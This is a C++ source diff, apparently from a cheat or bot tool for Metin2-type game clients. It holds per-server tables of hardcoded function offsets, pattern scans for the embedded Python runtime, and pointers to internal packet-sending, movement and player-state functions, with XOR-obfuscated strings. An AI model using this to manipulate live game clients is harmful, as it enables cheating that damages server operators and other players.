Globals::hEntryBaseAddress + 0x2c65b0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x227ae0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x227e60; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x217f50; // [100 ] [1 / 1] + break; + } + case ServerName::TAMIDIA2021: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x2bbc20; // [60 ] [3 / 5] + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x767a0; // [80 ] [4 / 5] + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x5df90; // [100 ] [6 / 6] + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x5df70; // [77 ] [7 / 9] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x60e00; // [100 ] [7 / 7] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x60e20; // [100 ] [11 / 11] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x60810; // [87 ] [14 / 16] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x68be0; // [82 ] [14 / 17] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x5f080; // [93 ] [15 / 16] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x5ed40; // [84 ] [11 / 13] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x68b00; // [100 ] [23 / 23] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x68780; // [100 ] [12 / 12] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x68aa0; // [100 ] [12 / 12] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x65d30; // [60 ] [6 / 10] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x2bed90; // [90 ] [20 / 22] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x2bd640; // [80 ] [8 / 10] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x766b0; // [81 ] [9 / 11] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x272a40; // [93 ] [15 / 16] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0xa0070; // [100 ] [8 / 8] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x9f890; // [100 ] [1 / 1] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x272c30; // [100 ] [23 / 23] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x272c70; // [100 ] [22 / 22] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x272e80; // [64 ] [11 / 17] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x2649b0; // [80 ] [4 / 5] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x272f10; // [98 ] [53 / 54] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x2d07b0; // [100 ] [21 / 21] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x6ee70; // [100 ] [5 / 5] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x6e4e0; // [100 ] [27 / 27] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x79f10; // [91 ] [56 / 61] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x80f70; // [100 ] [13 / 13] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x85c70; // [100 ] [11 / 11] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x9f970; // [100 ] [14 / 14] + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x9ffc0; // [100 ] [13 / 13] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xa9b00; // [66 ] [4 / 6] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0xa9730; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0xa6dd0; // [100 ] [15 / 15] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0xa6fb0; // [100 ] [12 / 12] + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0xa0160; // [100 ] [4 / 4] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0xa8e70; // [100 ] [14 / 14] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0xa8df0; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0xa8d00; // [100 ] [21 / 21] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0xabab0; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0xabb10; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0xaf510; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0xaf6d0; // [100 ] [6 / 6] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0xaf800; // [100 ] [8 / 8] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0xaf350; // [100 ] [11 / 11] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0xa7ee0; // [100 ] [17 / 17] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0xa90b0; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0xa9ab0; // [100 ] [8 / 8] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0xaf180; // [100 ] [5 / 5] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0xaf120; // [100 ] [11 / 11] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0xaf2a0; // [100 ] [5 / 5] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0xa9790; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0xa6f40; // [100 ] [18 / 18] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0xa7870; // [100 ] [12 / 12] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0xa0b50; // [100 ] [78 / 78] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xb2780; // [53 ] [8 / 15] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xbea90; // [100 ] [7 / 7] + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xb4400; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xb4280; // [55 ] [5 / 9] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xb3640; // [100 ] [5 / 5] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x60810; // [100 ] [6 / 6] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x8adb0; // [100 ] [9 / 9] + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xb3ab0; // [100 ] [20 / 20] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xb7920; // [50 ] [6 / 12] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xb4e00; // [100 ] [12 / 12] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xb4de0; // [100 ] [14 / 14] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0xb8120; // [100 ] [2 / 2] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xb3330; // [100 ] [33 / 33] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0xb8920; // [100 ] [5 / 5] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0xb7960; // [100 ] [9 / 9] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0xb7e10; // [100 ] [2 / 2] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0xb7c80; // [100 ] [1 / 1] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x796c0; // [94 ] [16 / 17] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x277470; // [98 ] [63 / 64] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x2786e0; // [100 ] [4 / 4] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x2fa220; // [100 ] [1 / 1] + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x27d120; // [100 ] [14 / 14] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x686c0; // [100 ] [12 / 12] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x68b30; // [100 ] [5 / 5] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x5e270; // [100 ] [6 / 6] + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x278400; // [83 ] [5 / 6] + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0xb41a0; // [100 ] [1 / 1] + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0xb42f0; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0xaf430; // [100 ] [5 / 5] + break; + } + case ServerName::ANORIA2: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x217390; // [100 ] [2 / 2] + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0xab830; // [100 ] [1 / 1] + //Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x216F50; + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x7dcc0; // [60 ] [3 / 5] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x81300; // [100 ] [6 / 6] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x81320; // [100 ] [6 / 6] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x80d20; // [72 ] [13 / 18] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x90110; // [71 ] [10 / 14] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x7f4e0; // [83 ] [5 / 6] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x7f1b0; // [71 ] [10 / 14] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x90030; // [100 ] [14 / 14] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x8fc20; // [100 ] [7 / 7] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x8ffd0; // [100 ] [10 / 10] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x891d0; // [60 ] [3 / 5] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x21c1b0; // [80 ] [20 / 25] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x219c20; // [85 ] [12 / 14] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0xab760; // [60 ] [6 / 10] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x1b6490; // [71 ] [15 / 21] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0xec830; // [100 ] [5 / 5] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0xebfa0; // [100 ] [5 / 5] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x1b6660; // [100 ] [20 / 20] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x1b66d0; // [100 ] [15 / 15] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x1b68d0; // [76 ] [10 / 13] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x1b6910; // [81 ] [13 / 16] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x1b6990; // [77 ] [37 / 48] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x235990; // [100 ] [16 / 16] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x9d010; // [100 ] [7 / 7] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x9c660; // [100 ] [39 / 39] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0xb2870; // [100 ] [91 / 91] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0xbb810; // [87 ] [7 / 8] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0xc7d50; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0xec090; // [87 ] [7 / 8] + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0xec770; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xfc850; // [50 ] [1 / 2] + //Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xfc8e0; // [50 ] [1 / 2] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0xfc470; // [100 ] [10 / 10] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0xf9b80; // [100 ] [13 / 13] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0xf9d50; // [93 ] [15 / 16] + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0xec910; // [88 ] [8 / 9] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0xfb9f0; // [100 ] [12 / 12] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0xfb970; // [100 ] [14 / 14] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0xfb860; // [95 ] [21 / 22] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0xfec60; // [87 ] [7 / 8] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0xfecc0; // [100 ] [7 / 7] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x105ab0; // [92 ] [13 / 14] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x105ca0; // [66 ] [8 / 12] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x105ea0; // [93 ] [14 / 15] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x1058a0; // [100 ] [9 / 9] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0xfa9d0; // [93 ] [15 / 16] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0xfbc60; // [100 ] [11 / 11] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0xfc800; // [100 ] [10 / 10] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x1056c0; // [90 ] [10 / 11] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x105640; // [100 ] [8 / 8] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x1057f0; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0xfc4e0; // [100 ] [6 / 6] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0xf9ce0; // [88 ] [15 / 17] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0xfa530; // [100 ] [6 / 6] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0xed870; // [100 ] [80 / 80] + // Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x81320; // [46 ] [12 / 26] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x108780; // [53 ] [14 / 26] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x127940; // [92 ] [13 / 14] + //Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + (null); + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x11a9d0; // [100 ] [5 / 5] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1198a0; // [62 ] [5 / 8] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x119ec0; // [100 ] [11 / 11] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x119a00; // [66 ] [12 / 18] + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x119e90; // [100 ] [13 / 13] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x11ff10; // [77 ] [7 / 9] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x11b690; // [90 ] [9 / 10] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x11b670; // [92 ] [12 / 13] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x1206e0; // [100 ] [6 / 6] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1195a0; // [100 ] [43 / 43] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x120f30; // [90 ] [10 / 11] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x11ff40; // [100 ] [8 / 8] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x120400; // [50 ] [2 / 4] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x120270; // [100 ] [2 / 2] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x1dd4a0; // [96 ] [27 / 28] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x1be3c0; // [92 ] [65 / 70] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x1c12b0; // [93 ] [14 / 15] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x26dc70; // [100 ] [8 / 8] + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x1c7ca0; // [100 ] [11 / 11] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x8fb60; // [85 ] [6 / 7] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x90060; // [100 ] [7 / 7] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x7dff0; // [100 ] [3 / 3] + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x1c0fb0; // [100 ] [5 / 5] + //Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + (null); + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x11aa70; // [100 ] [4 / 4] + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x1059a0; // [100 ] [8 / 8] + } + } + +} + +void Globals::ReAddressingPython() +{ + //player + CythonPlayerGetStatus = PythonExtension::ModulesMap["playerGetStatus"]; + CythonPlayerGetMainCharacterIndex = PythonExtension::ModulesMap["playerGetMainCharacterIndex"]; + CythonPlayerGetItemIndex = PythonExtension::ModulesMap["playerGetItemIndex"]; + CythonPlayerGetItemIndex = PythonExtension::ModulesMap["playerGetItemCount"]; + CythonPlayerGetName = PythonExtension::ModulesMap["playerGetName"]; + CythonPlayerGetItemMetinSocket = PythonExtension::ModulesMap["playerGetItemMetinSocket"]; + CythonPlayerGetRace = PythonExtension::ModulesMap["playerGetRace"]; + CythonPlayerSetSingleDIKKeyState = PythonExtension::ModulesMap["playerSetSingleDIKKeyState"]; + CythonPlayerClickSkillSlot = PythonExtension::ModulesMap["playerClickSkillSlot"]; + CythonPlayerIsSkillCoolTime = PythonExtension::ModulesMap["playerIsSkillCoolTime"]; + CythonPlayerIsSkillActive = PythonExtension::ModulesMap["playerIsSkillActive"]; + CythonPlayerGetTargetVID = PythonExtension::ModulesMap["playerGetTargetVID"]; + CythonPlayerSetTarget = PythonExtension::ModulesMap["playerSetTarget"]; + CythonPlayerSetAttackKeyState = PythonExtension::ModulesMap["playerSetAttackKeyState"]; + CythonPlayerIsMountingHorse = PythonExtension::ModulesMap["playerIsMountingHorse"]; + //chr + CythonChrSelectInstance = PythonExtension::ModulesMap["chrSelectInstance"]; + CythonChrGetPixelPosition = PythonExtension::ModulesMap["chrGetPixelPosition"]; + CythonChrMoveToDestPosition = PythonExtension::ModulesMap["chrMoveToDestPosition"]; + CythonChrGetInstanceType = PythonExtension::ModulesMap["chrGetInstanceType"]; + CythonChrGetVirtualNumber = PythonExtension::ModulesMap["chrGetVirtualNumber"]; + CythonChrGetNameByVID = PythonExtension::ModulesMap["chrGetNameByVID"]; + CythonChrSetPixelPosition = PythonExtension::ModulesMap["chrSetPixelPosition"]; + CythonChrSetRotation = PythonExtension::ModulesMap["chrSetRotation"]; + CythonChrGetRotation = PythonExtension::ModulesMap["chrGetRotation"]; + CythonChrmgrSetAffect = PythonExtension::ModulesMap["chrmgrSetAffect"]; + //net + CythonNetSendItemUsePacket = PythonExtension::ModulesMap["netSendItemUsePacket"]; + CythonNetSendChatPacket = PythonExtension::ModulesMap["netSendChatPacket"]; + CythonNetSendRefinePacket = PythonExtension::ModulesMap["netSendRefinePacket"]; + CythonNetSendExchangeStartPacket = PythonExtension::ModulesMap["netSendExchangeStartPacket"]; + CythonNetSendExchangeItemAddPacket = PythonExtension::ModulesMap["netSendExchangeItemAddPacket"]; + CythonNetSendExchangeAcceptPacket = PythonExtension::ModulesMap["netSendExchangeAcceptPacket"]; + CythonNetSendWhisperPacket = PythonExtension::ModulesMap["netSendWhisperPacket"]; + CythonNetSendItemPickUpPacket = PythonExtension::ModulesMap["netSendItemPickUpPacket"]; + CythonNetSendItemDropPacketNew = PythonExtension::ModulesMap["netSendItemDropPacketNew"]; + CythonNetSendOnClickPacket = PythonExtension::ModulesMap["netOnClickPacket"]; + CythonNetSendShopSellPacketNew = PythonExtension::ModulesMap["netSendShopSellPacketNew"]; + CythonNetSendShopBuyPacket = PythonExtension::ModulesMap["netSendShopBuyPacket"]; + CythonNetSendShopEndPacket = PythonExtension::ModulesMap["netSendShopEndPacket"]; + CythonNetSendGiveItemPacket = PythonExtension::ModulesMap["netSendGiveItemPacket"]; + CythonNetSendItemMovePacket = PythonExtension::ModulesMap["netSendItemMovePacket"]; + CythonNetDirectEnter = PythonExtension::ModulesMap["netDirectEnter"]; + CythonNetConnectTCP = PythonExtension::ModulesMap["netConnectTCP"]; + CythonNetIsConnect = PythonExtension::ModulesMap["netIsConnect"]; + CythonNetGetMainActorSkillGroup = PythonExtension::ModulesMap["netGetMainActorSkillGroup"]; + CythonNetGetAccountCharacterSlotData = PythonExtension::ModulesMap["netGetAccountCharacterSlotDataString"]; + CythonNetSendCommandPacket = PythonExtension::ModulesMap["netSendCommandPacket"]; + //event + CythonEventSelectAnswer = PythonExtension::ModulesMap["eventSelectAnswer"]; + //item + CythonItemSelectItem = PythonExtension::ModulesMap["itemSelectItem"]; + CythonItemGetItemName = PythonExtension::ModulesMap["itemGetItemName"]; +} + +void Globals::ReDeclarationInstances() +{ + if (!GetModuleHandle("python27.dll")) + { + switch (Globals::Server) + { + case ServerName::EGORIA: + break; + case ServerName::GLEVIA: + break; + case ServerName::TASTRIA2: + break; + default: + { + Globals::PyRun_SimpleStringFlags = (tPyRun_SimpleStringFlags)PatternScan::FindPattern("55 8B EC 83 EC ? 68 ? ? ? ? E8 ? ? ? ? 83 C4 ? 89 45 ? 83 7D ? ? 75 ? 83 C8"); + Globals::PyString_AsString = (tPyString_AsString)PatternScan::FindPattern("55 8B EC 8B 45 ? 8B 48 ? 8B 51 ? 81 E2 ? ? ? ? 75 ? 8B 45 ? 50 E8 ? ? ? ? 83 C4 ? EB ? 8B 45"); + Globals::PyTuple_GetItem = (tPyTuple_GetItem)PatternScan::FindPattern("55 8B EC 8B 45 ? 8B 48 ? 8B 51 ? 81 E2 ? ? ? ? 75 ? 6A ? 68 ? ? ? ? E8 ? ? ? ? 83 C4 ? 33 C0"); + Globals::PyInt_AsLong = (tPyInt_AsLong)PatternScan::FindPattern("55 8B EC 83 EC ? 83 7D ? ? 74 ? 8B 45 ? 8B 48 ? 8B 51 ? 81 E2 ? ? ? ? 74 ? 8B 45 ? 8B 40 ? E9 ? ? ? ? 83 7D ? ? 74 ? 8B 4D ? 8B 51 ? 8B 42 ? 89 45"); + Globals::Py_BuildValue = (tPy_BuildValue)PatternScan::FindPattern(""); + break; + } + } + } + else + { + Globals::PyRun_SimpleStringFlags = (tPyRun_SimpleStringFlags)GetProcAddress(GetModuleHandle("python27.dll"), "PyRun_SimpleString"); + Globals::PyString_AsString = (tPyString_AsString)GetProcAddress(GetModuleHandle("python27.dll"), "PyString_AsString"); + Globals::PyTuple_GetItem = (tPyTuple_GetItem)GetProcAddress(GetModuleHandle("python27.dll"), "PyTuple_GetItem"); + Globals::PyInt_AsLong = (tPyInt_AsLong)GetProcAddress(GetModuleHandle("python27.dll"), "PyInt_AsLong"); + Globals::Py_BuildValue = (tPy_BuildValue)GetProcAddress(GetModuleHandle("python27.dll"), "Py_BuildValue"); + + } + if (pCPythonCharacterManagerInstance != NULL) + { + Globals::iCPythonCharacterManagerInstance = *reinterpret_cast(pCPythonCharacterManagerInstance); + } + if (pCResourceManagerInstance != NULL) + { + Globals::iCResourceManagerInstance = *reinterpret_cast(pCResourceManagerInstance); + } + if (pCPythonPlayerInstance != NULL) + { + Globals::iCPythonPlayerInstance = *reinterpret_cast(pCPythonPlayerInstance); + printf(XOR("PlayerInstance: 0x%x\n"), Globals::iCPythonPlayerInstance); + } + if (pCPythonNonPlayerInstance != NULL) + { + Globals::iCPythonNonPlayerInstance = *reinterpret_cast(pCPythonNonPlayerInstance); + } + if (pCPythonNetworkStreamInstance != NULL) + { + Globals::iCPythonNetworkStreamInstance = *reinterpret_cast(pCPythonNetworkStreamInstance); + } + if (pCItemManagerInstance != NULL) + { + Globals::iCItemManagerInstance = *reinterpret_cast(pCItemManagerInstance); + } + if (pCPythonItemInstance != NULL) + { + Globals::iCPythonItemInstance = *reinterpret_cast(pCPythonItemInstance); + } + if (pCPythonApplicationInstance != NULL) + { + Globals::iCPythonApplicationInstance = *reinterpret_cast(pCPythonApplicationInstance); + } + if (pCPythonBackgroundInstance != NULL) + { + Globals::iCPythonBackgroundInstance = *reinterpret_cast(pCPythonBackgroundInstance); + } +} + +void Globals::ReDeclarationLocals() +{ + if (pPyCallClassMemberFunc != NULL) + { + PyCallClassMemberFunc = (tPyCallClassMemberFunc)(pPyCallClassMemberFunc); + } + if (pCNetworkStreamRecv != NULL) + { + CNetworkStreamRecv = (tCNetworkStreamRecv)(Globals::pCNetworkStreamRecv); + } + if (pCNetworkStreamSend != NULL) + { + CNetworkStreamSend = (tCNetworkStreamSend)(Globals::pCNetworkStreamSend); + } + if (pCPythonNetworkStreamSendItemUsePacket != NULL) + { + CPythonNetworkStreamSendItemUsePacket = (tCPythonNetworkStreamSendItemUsePacket)(Globals::pCPythonNetworkStreamSendItemUsePacket); + } + if (pCPythonNetworkStreamSendItemUseToItemPacket != NULL) + { + CPythonNetworkStreamSendItemUseToItemPacket = (tCPythonNetworkStreamSendItemUseToItemPacket)(Globals::pCPythonNetworkStreamSendItemUseToItemPacket); + } + if (pCPythonPlayerNEW_Fishing != NULL) + { + CPythonPlayerNEW_Fishing = (tCPythonPlayerNEW_Fishing)(Globals::pCPythonPlayerNEW_Fishing); + } + if (pCPythonChatAppendChat != NULL) + { + CPythonChatAppendChat = (tCPythonChatAppendChat)(Globals::pCPythonChatAppendChat); + 